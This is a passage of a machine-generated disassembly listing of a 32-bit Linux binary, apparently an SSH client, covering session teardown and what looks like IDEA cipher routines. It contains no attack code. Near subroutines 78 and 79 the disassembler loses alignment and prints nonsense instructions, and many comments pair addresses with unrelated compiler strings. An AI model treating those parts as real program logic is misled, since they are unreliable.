                                                           2.96 20000731 (Red Hat Linux 7.1 2.96-81)"
08052ddc  83 f8 ff                 cmp    $0xffffffff,%eax
08052ddf  74 13                    je     08052df4 <Unknown0074+0xf4>
08052de1  8b 15 80 9c 07 08        mov    0x8079c80,%edx  ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                           Hat Linux 7.1 2.96-81)"
08052de7  39 d0                    cmp    %edx,%eax
08052de9  7e 0f                    jle    08052dfa <Unknown0074+0xfa>
08052deb  a3 80 9c 07 08           mov    %eax,0x8079c80  ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                           Hat Linux 7.1 2.96-81)"
08052df0  89 c2                    mov    %eax,%edx
08052df2  eb 06                    jmp    08052dfa <Unknown0074+0xfa>
08052df4  8b 15 80 9c 07 08        mov    0x8079c80,%edx  ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                           Hat Linux 7.1 2.96-81)"
08052dfa  a1 74 9c 07 08           mov    0x8079c74,%eax  ;[in .bss] 539579726 'x4e x55 x29 x20' "NU) 2.96
                                                           20000731 (Red Hat Linux 7.1 2.96-81)"
08052dff  39 d0                    cmp    %edx,%eax
08052e01  7e 07                    jle    08052e0a <Unknown0074+0x10a>
08052e03  a3 80 9c 07 08           mov    %eax,0x8079c80  ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                           Hat Linux 7.1 2.96-81)"
08052e08  89 c2                    mov    %eax,%edx
08052e0a  a1 78 9c 07 08           mov    0x8079c78,%eax  ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96
                                                           20000731 (Red Hat Linux 7.1 2.96-81)"
08052e0f  39 d0                    cmp    %edx,%eax
08052e11  7e 05                    jle    08052e18 <Unknown0074+0x118>
08052e13  a3 80 9c 07 08           mov    %eax,0x8079c80  ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red
                                                           Hat Linux 7.1 2.96-81)"
08052e18  83 ec 0c                 sub    $0xc,%esp
08052e1b  68 38 9c 07 08           push   $0x8079c38  ;[in .bss] 540689219 'x43 x43 x3a x20' "CC: (GNU) 2.96
                                                           20000731 (Red Hat Linux 7.1 2.96-79)"
08052e20  e8 ef 2a 00 00           call   08055914 <Unknown0114>
08052e25  c7 04 24 48 9c 07 08     movl   $0x8079c48,(%esp,1)  ;[in .bss] 808464432 'x30 x30 x30 x30'
                                                                "0000731 (Red Hat Linux 7.1 2.96-79)"
08052e2c  e8 e3 2a 00 00           call   08055914 <Unknown0114>
08052e31  c7 04 24 58 9c 07 08     movl   $0x8079c58,(%esp,1)  ;[in .bss] 1852394528 'x20 x4c x69 x6e' "
                                                                Linux 7.1 2.96-79)"
08052e38  e8 d7 2a 00 00           call   08055914 <Unknown0114>
08052e3d  83 c4 10                 add    $0x10,%esp
08052e40  83 3d 70 9c 07 08 ff     cmpl   $0xffffffff,0x8079c70  ;[in .bss] 1193812026 'x3a x20 x28 x47' ":
                                                                  (GNU) 2.96 20000731 (Red Hat Linux 7.1
                                                                  2.96-81)"
08052e47  75 0a                    jne    08052e53 <Unknown0074+0x153>
08052e49  c7 05 14 7e 07 08 01 00 00 00  movl  $0x1,0x8077e14  ;1 'x1 x0 x0 x0' ""
08052e53  51                       push   %ecx
08052e54  68 00 08 00 00           push   $0x800  ;2048 'x0 x8 x0 x0' ""
08052e59  6a 04                    push   $0x4
08052e5b  ff 35 68 9c 07 08        pushl  0x8079c68  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052e61  e8 c6 73 ff ff           call   0804a22c <fcntl>
08052e66  83 c4 10                 add    $0x10,%esp
08052e69  8d b5 e8 fe ff ff        lea    0xfffffee8(%ebp),%esi  ;-280 'xe8 xfe xff xff' ""
08052e6f  90                       nop
08052e70  e8 e3 f4 ff ff           call   08052358 <Unknown0066>
08052e75  8b 15 0c 7e 07 08        mov    0x8077e0c,%edx  ;[in .data] 0 'x0 x0 x0 x0' ""
08052e7b  85 d2                    test   %edx,%edx
08052e7d  74 4f                    je     08052ece <Unknown0074+0x1ce>
08052e7f  83 3d 68 9c 07 08 ff     cmpl   $0xffffffff,0x8079c68  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052e86  74 46                    je     08052ece <Unknown0074+0x1ce>
08052e88  83 ec 0c                 sub    $0xc,%esp
08052e8b  68 38 9c 07 08           push   $0x8079c38  ;[in .bss] 540689219 'x43 x43 x3a x20' "CC: (GNU) 2.96
                                                           20000731 (Red Hat Linux 7.1 2.96-79)"
08052e90  e8 b3 2b 00 00           call   08055a48 <Unknown0119>
08052e95  83 c4 10                 add    $0x10,%esp
08052e98  85 c0                    test   %eax,%eax
08052e9a  75 32                    jne    08052ece <Unknown0074+0x1ce>
08052e9c  a1 68 9c 07 08           mov    0x8079c68,%eax  ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
08052ea1  3b 05 6c 9c 07 08        cmp    0x8079c6c,%eax  ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
08052ea7  75 0f                    jne    08052eb8 <Unknown0074+0x1b8>
08052ea9  83 ec 08                 sub    $0x8,%esp
08052eac  6a 01                    push   $0x1
08052eae  50                       push   %eax
08052eaf  e8 08 70 ff ff           call   08049ebc <shutdown>
08052eb4  eb 0b                    jmp    08052ec1 <Unknown0074+0x1c1>
```

```
08052eb6  89 f6                       mov     %esi,%esi
08052eb8  83 ec 0c                    sub     $0xc,%esp
08052ebb  50                          push    %eax
08052ebc  e8 1b 6e ff ff              call    08049cdc <close>
08052ec1  83 c4 10                    add     $0x10,%esp
08052ec4  c7 05 68 9c 07 08 ff ff ff ff  movl  $0xffffffff,0x8079c68  ;-1 'xff xff xff xff' ""
08052ece  e8 3d f6 ff ff              call    08052510 <Unknown0067>
08052ed3  83 ec 0c                    sub     $0xc,%esp
08052ed6  68 48 9c 07 08              push    $0x8079c48  ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
                                                            Hat Linux 7.1 2.96-79)"
08052edb  c7 85 dc fe ff ff 00 00 00 00  movl  $0x0,0xfffffedc(%ebp)  ;0 'x0 x0 x0 x0' ""
08052ee5  e8 5e 2b 00 00              call    08055a48 <Unknown0119>
08052eea  89 c2                       mov     %eax,%edx
08052eec  8d 42 ff                    lea     0xffffffff(%edx),%eax
08052eef  83 c4 10                    add     $0x10,%esp
08052ef2  3d fe 01 00 00              cmp     $0x1fe,%eax  ;510 'xfe x1 x0 x0' ""
08052ef7  77 17                       ja      08052f10 <Unknown0074+0x210>
08052ef9  3b 95 d8 fe ff ff           cmp     0xfffffed8(%ebp),%edx  ;-296 'xd8 xfe xff xff' ""
08052eff  74 0f                       je      08052f10 <Unknown0074+0x210>
08052f01  c7 85 dc fe ff ff 11 00 00 00  movl  $0x11,0xfffffedc(%ebp)  ;17 'x11 x0 x0 x0' ""
08052f0b  eb 08                       jmp     08052f15 <Unknown0074+0x215>
08052f0d  8d 76 00                    lea     0x0(%esi),%esi
08052f10  e8 b7 f6 ff ff              call    080525cc <Unknown0068>
08052f15  83 ec 0c                    sub     $0xc,%esp
08052f18  68 48 9c 07 08              push    $0x8079c48  ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
                                                            Hat Linux 7.1 2.96-79)"
08052f1d  e8 26 2b 00 00              call    08055a48 <Unknown0119>
08052f22  89 85 d8 fe ff ff           mov     %eax,0xfffffed8(%ebp)  ;-296 'xd8 xfe xff xff' ""
08052f28  e8 5b 3a 00 00              call    08056988 <Unknown0161>
08052f2d  83 c4 10                    add     $0x10,%esp
08052f30  85 c0                       test    %eax,%eax
08052f32  74 05                       je      08052f39 <Unknown0074+0x239>
08052f34  e8 fb 5f 00 00              call    08058f34 <Unknown0193>
08052f39  a1 10 7e 07 08              mov     0x8077e10,%eax  ;[in .data] 0 'x0 x0 x0 x0' ""
08052f3e  85 c0                       test    %eax,%eax
08052f40  0f 84 c5 00 00 00           je      0805300b <Unknown0074+0x30b>  ;197 'xc5 x0 x0 x0' ""
08052f46  8b 3d 14 7e 07 08           mov     0x8077e14,%edi  ;[in .data] 0 'x0 x0 x0 x0' ""
08052f4c  85 ff                       test    %edi,%edi
08052f4e  0f 84 b7 00 00 00           je      0805300b <Unknown0074+0x30b>  ;183 'xb7 x0 x0 x0' ""
08052f54  e8 0f 3a 00 00              call    08056968 <Unknown0160>
08052f59  85 c0                       test    %eax,%eax
08052f5b  0f 85 aa 00 00 00           jne     0805300b <Unknown0074+0x30b>  ;170 'xaa x0 x0 x0' ""
08052f61  83 ec 0c                    sub     $0xc,%esp
08052f64  68 48 9c 07 08              push    $0x8079c48  ;[in .bss] 808464432 'x30 x30 x30 x30' "0000731 (Red
                                                            Hat Linux 7.1 2.96-79)"
08052f69  e8 da 2a 00 00              call    08055a48 <Unknown0119>
08052f6e  83 c4 10                    add     $0x10,%esp
08052f71  85 c0                       test    %eax,%eax
08052f73  0f 85 92 00 00 00           jne     0805300b <Unknown0074+0x30b>  ;146 'x92 x0 x0 x0' ""
08052f79  83 ec 0c                    sub     $0xc,%esp
08052f7c  68 58 9c 07 08              push    $0x8079c58  ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                            2.96-79)"
08052f81  e8 c2 2a 00 00              call    08055a48 <Unknown0119>
08052f86  83 c4 10                    add     $0x10,%esp
08052f89  85 c0                       test    %eax,%eax
08052f8b  75 7e                       jne     0805300b <Unknown0074+0x30b>
08052f8d  e8 5a 63 00 00              call    080592ec <Unknown0203>
08052f92  85 c0                       test    %eax,%eax
08052f94  0f 84 aa 00 00 00           je      08053044 <Unknown0074+0x344>  ;170 'xaa x0 x0 x0' ""
08052f9a  8b 9d e0 fe ff ff           mov     0xfffffee0(%ebp),%ebx  ;-288 'xe0 xfe xff xff' ""
08052fa0  85 db                       test    %ebx,%ebx
08052fa2  75 67                       jne     0805300b <Unknown0074+0x30b>
08052fa4  8b 0d 90 9c 07 08           mov     0x8079c90,%ecx  ;[in .bss] 2020961897 'x69 x6e x75 x78' "inux 7.1
                                                            2.96-81)"
08052faa  85 c9                       test    %ecx,%ecx
08052fac  75 5d                       jne     0805300b <Unknown0074+0x30b>
08052fae  52                          push    %edx
08052faf  fc                          cld
08052fb0  31 c0                       xor     %eax,%eax
08052fb2  c7 85 e0 fe ff ff 01 00 00 00  movl  $0x1,0xfffffee0(%ebp)  ;1 'x1 x0 x0 x0' ""
08052fbc  bf 80 f8 06 08              mov     $0x806f880,%edi  ;[in .rodata] 1953063255 'x57 x61 x69 x74'
                                                            "Waiting for forwarded connections to
                                                            terminate..."
08052fc1  b9 ff ff ff ff              mov     $0xffffffff,%ecx  ;-1 'xff xff xff xff' ""
08052fc6  f2 ae                       repnz scas %es:(%edi),%al
08052fc8  f7 d1                       not     %ecx
08052fca  49                          dec     %ecx
08052fcb  51                          push    %ecx
08052fcc  68 80 f8 06 08              push    $0x806f880  ;[in .rodata] 1953063255 'x57 x61 x69 x74' "Waiting for
                                                            forwarded connections to terminate..."
08052fd1  68 58 9c 07 08              push    $0x8079c58  ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                            2.96-79)"
08052fd6  e8 a9 29 00 00              call    08055984 <Unknown0117>
```

```
08052fdb   e8 78 63 00 00        call    08059358 <Unknown0204>
08052fe0   89 c3                 mov     %eax,%ebx
08052fe2   fc                    cld
08052fe3   31 c0                 xor     %eax,%eax
08052fe5   89 df                 mov     %ebx,%edi
08052fe7   b9 ff ff ff ff        mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
08052fec   f2 ae                 repnz scas %es:(%edi),%al
08052fee   f7 d1                 not     %ecx
08052ff0   83 c4 0c              add     $0xc,%esp
08052ff3   49                    dec     %ecx
08052ff4   51                    push    %ecx
08052ff5   53                    push    %ebx
08052ff6   68 58 9c 07 08        push    $0x8079c58   ;[in .bss] 1852394528 'x20 x4c x69 x6e' " Linux 7.1
                                                        2.96-79)"
08052ffb   e8 84 29 00 00        call    08055984 <Unknown0117>
08053000   89 1c 24              mov     %ebx,(%esp,1)
08053003   e8 08 3f 00 00        call    08056f10 <Unknown0172>
08053008   83 c4 10              add     $0x10,%esp
0805300b   ff 75 18              pushl   0x18(%ebp)
0805300e   ff b5 dc fe ff ff     pushl   0xfffffedc(%ebp)   ;-292 'xdc xfe xff xff' ""
08053014   56                    push    %esi
08053015   8d 9d 68 ff ff ff     lea     0xffffff68(%ebp),%ebx   ;-152 'x68 xff xff xff' "h"
0805301b   53                    push    %ebx
0805301c   e8 67 f6 ff ff        call    08052688 <Unknown0069>
08053021   5f                    pop     %edi
08053022   58                    pop     %eax
08053023   56                    push    %esi
08053024   53                    push    %ebx
08053025   e8 86 5a 00 00        call    08058ab0 <Unknown0192>
0805302a   89 1c 24              mov     %ebx,(%esp,1)
0805302d   e8 9e f9 ff ff        call    080529d0 <Unknown0071>
08053032   89 34 24              mov     %esi,(%esp,1)
08053035   e8 0a fb ff ff        call    08052b44 <Unknown0072>
0805303a   83 c4 10              add     $0x10,%esp
0805303d   e9 2e fe ff ff        jmp     08052e70 <Unknown0074+0x170>   ;-466 'x2e xfe xff xff' "."
08053042   89 f6                 mov     %esi,%esi
08053044   e8 fb fb ff ff        call    08052c44 <Unknown0073>
08053049   83 ec 0c              sub     $0xc,%esp
0805304c   ff 35 04 7e 07 08     pushl   0x8077e04   ;[in .data] 0 'x0 x0 x0 x0' ""
08053052   ff 35 00 7e 07 08     pushl   0x8077e00   ;[in .data] 0 'x0 x0 x0 x0' ""
08053058   ff 35 08 7e 07 08     pushl   0x8077e08   ;[in .data] 0 'x0 x0 x0 x0' ""
0805305e   ff 35 fc 7d 07 08     pushl   0x8077dfc   ;[in .data] 0 'x0 x0 x0 x0' ""
08053064   68 c0 f8 06 08        push    $0x806f8c0   ;[in .rodata] 543452741 'x45 x6e x64 x20' "End of
                                                        interactive session; stdin %ld, stdout (read %ld, sent
                                                        %ld), stderr %ld bytes."
08053069   e8 12 cd ff ff        call    0804fd80 <Unknown0039>
0805306e   83 c4 14              add     $0x14,%esp
08053071   68 38 9c 07 08        push    $0x8079c38   ;[in .bss] 540689219 'x43 x43 x3a x20' "CC: (GNU) 2.96
                                                        20000731 (Red Hat Linux 7.1 2.96-79)"
08053076   e8 c9 28 00 00        call    08055944 <Unknown0115>
0805307b   c7 04 24 48 9c 07 08  movl    $0x8079c48,(%esp,1)   ;[in .bss] 808464432 'x30 x30 x30 x30'
                                                        "0000731 (Red Hat Linux 7.1 2.96-79)"
08053082   e8 bd 28 00 00        call    08055944 <Unknown0115>
08053087   c7 04 24 58 9c 07 08  movl    $0x8079c58,(%esp,1)   ;[in .bss] 1852394528 'x20 x4c x69 x6e' "
                                                        Linux 7.1 2.96-79)"
0805308e   e8 b1 28 00 00        call    08055944 <Unknown0115>
08053093   8b 4d 18              mov     0x18(%ebp),%ecx
08053096   83 c4 10              add     $0x10,%esp
08053099   85 c9                 test    %ecx,%ecx
0805309b   74 0e                 je      080530ab <Unknown0074+0x3ab>
0805309d   83 ec 0c              sub     $0xc,%esp
080530a0   ff 75 18              pushl   0x18(%ebp)
080530a3   e8 0c 9e ff ff        call    0804ceb4 <Unknown0014>
080530a8   83 c4 10              add     $0x10,%esp
080530ab   a1 6c 9c 07 08        mov     0x8079c6c,%eax   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
080530b0   83 f8 ff              cmp     $0xffffffff,%eax
080530b3   74 0c                 je      080530c1 <Unknown0074+0x3c1>
080530b5   83 ec 0c              sub     $0xc,%esp
080530b8   50                    push    %eax
080530b9   e8 1e 6c ff ff        call    08049cdc <close>
080530be   83 c4 10              add     $0x10,%esp
080530c1   a1 68 9c 07 08        mov     0x8079c68,%eax   ;[in .bss] 2701623 'x37 x39 x29 x0' "79)"
080530c6   83 f8 ff              cmp     $0xffffffff,%eax
080530c9   74 14                 je      080530df <Unknown0074+0x3df>
080530cb   3b 05 6c 9c 07 08     cmp     0x8079c6c,%eax   ;[in .bss] 1128482560 'x0 x47 x43 x43' ""
080530d1   74 0c                 je      080530df <Unknown0074+0x3df>
080530d3   83 ec 0c              sub     $0xc,%esp
080530d6   50                    push    %eax
080530d7   e8 00 6c ff ff        call    08049cdc <close>
080530dc   83 c4 10              add     $0x10,%esp
080530df   a1 70 9c 07 08        mov     0x8079c70,%eax   ;[in .bss] 1193812026 'x3a x20 x28 x47' ": (GNU)
                                                        2.96 20000731 (Red Hat Linux 7.1 2.96-81)"
080530e4   83 f8 ff              cmp     $0xffffffff,%eax
080530e7   74 0c                 je      080530f5 <Unknown0074+0x3f5>
```

```
080530e9   83 ec 0c                    sub      $0xc,%esp
080530ec   50                          push     %eax
080530ed   e8 ea 6b ff ff              call     08049cdc <close>
080530f2   83 c4 10                    add      $0x10,%esp
080530f5   e8 36 61 00 00              call     08059230 <Unknown0200>
080530fa   83 ec 08                    sub      $0x8,%esp
080530fd   6a 00                       push     $0x0
080530ff   6a 11                       push     $0x11
08053101   e8 36 6c ff ff              call     08049d3c <signal>
08053106   a1 88 9c 07 08              mov      0x8079c88,%eax   ;[in .bss] 1210082405 'x65 x64 x20 x48' "ed Hat
                                                                         Linux 7.1 2.96-81)"
0805310b   83 c4 10                    add      $0x10,%esp
0805310e   85 c0                       test     %eax,%eax
08053110   74 0e                       je       08053120 <Unknown0074+0x420>
08053112   a1 8c 9c 07 08              mov      0x8079c8c,%eax   ;[in .bss] 1277195361 'x61 x74 x20 x4c' "at Linux
                                                                         7.1 2.96-81)"
08053117   89 85 e4 fe ff ff           mov      %eax,0xfffffee4(%ebp)   ;-284 'xe4 xfe xff xff' ""
0805311d   eb 50                       jmp      0805316f <Unknown0074+0x46f>
0805311f   90                          nop
08053120   83 ec 0c                    sub      $0xc,%esp
08053123   8d 85 e4 fe ff ff           lea      0xfffffee4(%ebp),%eax   ;-284 'xe4 xfe xff xff' ""
08053129   50                          push     %eax
0805312a   e8 ad 73 ff ff              call     0804a4dc <wait>
0805312f   83 c4 10                    add      $0x10,%esp
08053132   85 c0                       test     %eax,%eax
08053134   79 22                       jns      08053158 <Unknown0074+0x458>
08053136   83 ec 10                    sub      $0x10,%esp
08053139   e8 fe 6c ff ff              call     08049e3c <__errno_location>
0805313e   5a                          pop      %edx
0805313f   ff 30                       pushl    (%eax)
08053141   e8 a6 6c ff ff              call     08049dec <strerror>
08053146   5e                          pop      %esi
08053147   5f                          pop      %edi
08053148   50                          push     %eax
08053149   68 16 f9 06 08              push     $0x806f916   ;[in .rodata] 1953063287 'x77 x61 x69 x74' "wait:
                                                                         %.100s"
0805314e   e8 8d 36 00 00              call     080567e0 <Unknown0157>
08053153   eb 17                       jmp      0805316c <Unknown0074+0x46c>
08053155   8d 76 00                    lea      0x0(%esi),%esi
08053158   3b 45 08                    cmp      0x8(%ebp),%eax
0805315b   74 12                       je       0805316f <Unknown0074+0x46f>
0805315d   53                          push     %ebx
0805315e   ff 75 08                    pushl    0x8(%ebp)
08053161   50                          push     %eax
08053162   68 40 f9 06 08              push     $0x806f940   ;[in .rodata] 1634890835 'x53 x74 x72 x61' "Strange,
                                                                         wait returned pid %d, expected %d"
08053167   e8 9c cc ff ff              call     0804fe08 <Unknown0040>
0805316c   83 c4 10                    add      $0x10,%esp
0805316f   8b 95 e4 fe ff ff           mov      0xfffffee4(%ebp),%edx   ;-284 'xe4 xfe xff xff' ""
08053175   89 d1                       mov      %edx,%ecx
08053177   83 e1 7f                    and      $0x7f,%ecx
0805317a   75 74                       jne      080531f0 <Unknown0074+0x4f0>
0805317c   83 ec 08                    sub      $0x8,%esp
0805317f   0f b6 c6                    movzbl   %dh,%eax
08053182   50                          push     %eax
08053183   68 80 f9 06 08              push     $0x806f980   ;[in .rodata] 1835888451 'x43 x6f x6d x6d' "Command
                                                                         exited with status %d."
08053188   e8 f3 cb ff ff              call     0804fd80 <Unknown0039>
0805318d   c7 04 24 14 00 00 00        movl     $0x14,(%esp,1)   ;20 'x14 x0 x0 x0' ""
08053194   e8 7b 2e 00 00              call     08056014 <Unknown0138>
08053199   0f b6 85 e5 fe ff ff        movzbl   0xfffffee5(%ebp),%eax   ;-283 'xe5 xfe xff xff' ""
080531a0   89 04 24                    mov      %eax,(%esp,1)
080531a3   e8 cc 2e 00 00              call     08056074 <Unknown0141>
080531a8   e8 0f 2f 00 00              call     080560bc <Unknown0144>
080531ad   e8 4a 37 00 00              call     080568fc <Unknown0159>
080531b2   83 c4 10                    add      $0x10,%esp
080531b5   8d 76 00                    lea      0x0(%esi),%esi
080531b8   e8 2b 31 00 00              call     080562e8 <Unknown0145>
080531bd   89 c3                       mov      %eax,%ebx
080531bf   83 fb 21                    cmp      $0x21,%ebx
080531c2   74 16                       je       080531da <Unknown0074+0x4da>
080531c4   e8 7f 35 00 00              call     08056748 <Unknown0154>
080531c9   83 ec 08                    sub      $0x8,%esp
080531cc   53                          push     %ebx
080531cd   68 a0 f9 06 08              push     $0x806f9a0   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                                         packet of type %d after exit."
080531d2   e8 a9 cb ff ff              call     0804fd80 <Unknown0039>
080531d7   83 c4 10                    add      $0x10,%esp
080531da   83 fb 21                    cmp      $0x21,%ebx
080531dd   75 d9                       jne      080531b8 <Unknown0074+0x4b8>
080531df   83 ec 0c                    sub      $0xc,%esp
080531e2   68 c8 f9 06 08              push     $0x806f9c8   ;[in .rodata] 1701012818 'x52 x65 x63 x65' "Received
                                                                         exit confirmation."
080531e7   e8 94 cb ff ff              call     0804fd80 <Unknown0039>
```

```
080531ec   eb 32                  jmp     08053220 <Unknown0074+0x520>
080531ee   89 f6                  mov     %esi,%esi
080531f0   31 c0                  xor     %eax,%eax
080531f2   80 fa 7f               cmp     $0x7f,%dl
080531f5   0f 95 c0               setne   %al
080531f8   85 c0                  test    %eax,%eax
080531fa   74 11                  je      0805320d <Unknown0074+0x50d>
080531fc   83 ec 08               sub     $0x8,%esp
080531ff   51                     push    %ecx
08053200   68 00 fa 06 08         push    $0x806fa00  ;[in .rodata] 1835888451 'x43 x6f x6d x6d' "Command
                                                                 terminated on signal %d."
08053205   e8 d6 35 00 00         call    080567e0 <Unknown0157>
0805320a   83 c4 10               add     $0x10,%esp
0805320d   83 ec 08               sub     $0x8,%esp
08053210   ff b5 e4 fe ff ff      pushl   0xfffffee4(%ebp)  ;-284 'xe4 xfe xff xff' ""
08053216   68 21 fa 06 08         push    $0x806fa21  ;[in .rodata] 1953063287 'x77 x61 x69 x74' "wait
                                                                 returned status %04x."
0805321b   e8 c0 35 00 00         call    080567e0 <Unknown0157>
08053220   8d 65 f4               lea     0xfffffff4(%ebp),%esp
08053223   5b                     pop     %ebx
08053224   5e                     pop     %esi
08053225   5f                     pop     %edi
08053226   5d                     pop     %ebp
08053227   c3                     ret


   ;
   ; >---------------------< Subroutine #  75 >---------------------<
   ;
08053228 <Unknown0075>:
08053228   55                     push    %ebp
08053229   89 e5                  mov     %esp,%ebp
0805322b   57                     push    %edi
0805322c   56                     push    %esi
0805322d   8b 7d 08               mov     0x8(%ebp),%edi
08053230   53                     push    %ebx
08053231   8b 4d 0c               mov     0xc(%ebp),%ecx
08053234   89 fe                  mov     %edi,%esi
08053236   31 db                  xor     %ebx,%ebx
08053238   66 0f b6 04 59         movzbw  (%ecx,%ebx,2),%ax
0805323d   66 0f b6 54 59 01      movzbw  0x1(%ecx,%ebx,2),%dx
08053243   c1 e0 08               shl     $0x8,%eax
08053246   09 d0                  or      %edx,%eax
08053248   66 89 04 5f            mov     %ax,(%edi,%ebx,2)
0805324c   43                     inc     %ebx
0805324d   83 fb 07               cmp     $0x7,%ebx
08053250   7e e6                  jle     08053238 <Unknown0075+0x10>
08053252   bb 08 00 00 00         mov     $0x8,%ebx  ;8 'x8 x0 x0 x0' ""
08053257   90                     nop
08053258   89 df                  mov     %ebx,%edi
0805325a   83 e7 07               and     $0x7,%edi
0805325d   75 03                  jne     08053262 <Unknown0075+0x3a>
0805325f   83 c6 10               add     $0x10,%esi
08053262   8d 4b 01               lea     0x1(%ebx),%ecx
08053265   89 c8                  mov     %ecx,%eax
08053267   83 e0 07               and     $0x7,%eax
0805326a   66 8b 54 46 f0         mov     0xfffffff0(%esi,%eax,2),%dx
0805326f   8d 43 02               lea     0x2(%ebx),%eax
08053272   83 e0 07               and     $0x7,%eax
08053275   66 8b 44 46 f0         mov     0xfffffff0(%esi,%eax,2),%ax
0805327a   c1 e2 09               shl     $0x9,%edx
0805327d   66 c1 e8 07            shr     $0x7,%ax
08053281   89 cb                  mov     %ecx,%ebx
08053283   09 c2                  or      %eax,%edx
08053285   83 fb 33               cmp     $0x33,%ebx
08053288   66 89 14 7e            mov     %dx,(%esi,%edi,2)
0805328c   7e ca                  jle     08053258 <Unknown0075+0x30>
0805328e   5b                     pop     %ebx
0805328f   5e                     pop     %esi
08053290   5f                     pop     %edi
08053291   5d                     pop     %ebp
08053292   c3                     ret
08053293   90                     nop


   ;
   ; >---------------------< Subroutine #  76 >---------------------<
   ;
08053294 <Unknown0076>:
08053294   55                     push    %ebp
08053295   89 e5                  mov     %esp,%ebp
08053297   5d                     pop     %ebp
08053298   c3                     ret
08053299   8d 76 00               lea     0x0(%esi),%esi
```

```
  ;
  ; >---------------------<  Subroutine #  77 >---------------------<
  ;
0805329c <Unknown0077>:
0805329c   55                        push    %ebp
0805329d   89 e5                     mov     %esp,%ebp
0805329f   57                        push    %edi
080532a0   56                        push    %esi
080532a1   53                        push    %ebx
080532a2   83 ec 18                  sub     $0x18,%esp
080532a5   8b 4d 0c                  mov     0xc(%ebp),%ecx
080532a8   8b 55 10                  mov     0x10(%ebp),%edx
080532ab   8b 45 08                  mov     0x8(%ebp),%eax
080532ae   89 4d e8                  mov     %ecx,0xffffffe8(%ebp)
080532b1   89 55 e0                  mov     %edx,0xffffffe0(%ebp)
080532b4   89 45 ec                  mov     %eax,0xffffffec(%ebp)
080532b7   c1 6d e8 10               shrl    $0x10,0xffffffe8(%ebp)
080532bb   89 4d e4                  mov     %ecx,0xffffffe4(%ebp)
080532be   c1 6d e0 10               shrl    $0x10,0xffffffe0(%ebp)
080532c2   89 55 dc                  mov     %edx,0xffffffdc(%ebp)
080532c5   c7 45 f0 00 00 00 00      movl    $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
080532cc   0f b7 55 e8               movzwl  0xffffffe8(%ebp),%edx
080532d0   8b 45 ec                  mov     0xffffffec(%ebp),%eax
080532d3   0f b7 08                  movzwl  (%eax),%ecx
080532d6   89 d0                     mov     %edx,%eax
080532d8   0f af c1                  imul    %ecx,%eax
080532db   85 c0                     test    %eax,%eax
080532dd   74 1d                     je      080532fc <Unknown0077+0x60>
080532df   0f b7 d8                  movzwl  %ax,%ebx
080532e2   89 c1                     mov     %eax,%ecx
080532e4   c1 e9 10                  shr     $0x10,%ecx
080532e7   89 da                     mov     %ebx,%edx
080532e9   29 ca                     sub     %ecx,%edx
080532eb   31 c0                     xor     %eax,%eax
080532ed   39 cb                     cmp     %ecx,%ebx
080532ef   0f 92 c0                  setb    %al
080532f2   8d 04 10                  lea     (%eax,%edx,1),%eax
080532f5   89 45 e8                  mov     %eax,0xffffffe8(%ebp)
080532f8   eb 1c                     jmp     08053316 <Unknown0079+0x2>
080532fa   89 f6                     mov     %esi,%esi
080532fc   85 d2                     test    %edx,%edx
080532fe   75 0c                     jne     0805330c <Unknown0078+0x4>
08053300   c7 45 e8 01 00 00 00      movl    $0x1,0xffffffe8(%ebp)
08053307   29 4d e8                  sub     %ecx,0xffffffe8(%ebp)


  ;
  ; >---------------------<  Subroutine #  78 >---------------------<
  ;
08053308 <Unknown0078>:
08053308   4d                        dec     %ebp
08053309   e8 eb 0a c7 45            call    4dcc3df9 <Unknown0453+0x45c58849>
0805330e   e8 01 00 00 00            call    08053314 <Unknown0079>
08053313   29 55 e8                  sub     %edx,0xffffffe8(%ebp)


  ;
  ; >---------------------<  Subroutine #  79 >---------------------<
  ;
08053314 <Unknown0079>:
08053314   55                        push    %ebp
08053315   e8 8b 55 ec 0f            call    17f188a5 <Unknown0453+0xfead2f5>
0805331a   b7 42                     mov     $0x42,%bh
0805331c   04 01                     add     $0x1,%al
0805331e   45                        inc     %ebp
0805331f   e0 0f                     loopne  08053330 <Unknown0079+0x1c>
08053321   b7 55                     mov     $0x55,%bh
08053323   dc 8b 45 ec 0f b7         fmull   0xb70fec45(%ebx)   ;-1223693243 'x45 xec xf xb7' "E"
08053329   48                        dec     %eax
0805332a   06                        push    %es
0805332b   89 d0                     mov     %edx,%eax
0805332d   0f af c1                  imul    %ecx,%eax
08053330   85 c0                     test    %eax,%eax
08053332   74 1c                     je      08053350 <Unknown0079+0x3c>
08053334   0f b7 d8                  movzwl  %ax,%ebx
08053337   89 c1                     mov     %eax,%ecx
08053339   c1 e9 10                  shr     $0x10,%ecx
0805333c   89 da                     mov     %ebx,%edx
0805333e   29 ca                     sub     %ecx,%edx
08053340   31 c0                     xor     %eax,%eax
08053342   39 cb                     cmp     %ecx,%ebx
08053344   0f 92 c0                  setb    %al
```

```
08053347   8d 04 10             lea      (%eax,%edx,1),%eax
0805334a   89 45 dc            mov      %eax,0xffffffdc(%ebp)
0805334d   eb 1b               jmp      0805336a <Unknown0079+0x56>
0805334f   90                  nop
08053350   85 d2               test     %edx,%edx
08053352   75 0c               jne      08053360 <Unknown0079+0x4c>
08053354   c7 45 dc 01 00 00 00 movl     $0x1,0xffffffdc(%ebp)   ;1 'x1 x0 x0 x0' ""
0805335b   29 4d dc            sub      %ecx,0xffffffdc(%ebp)
0805335e   eb 0a               jmp      0805336a <Unknown0079+0x56>
08053360   c7 45 dc 01 00 00 00 movl     $0x1,0xffffffdc(%ebp)   ;1 'x1 x0 x0 x0' ""
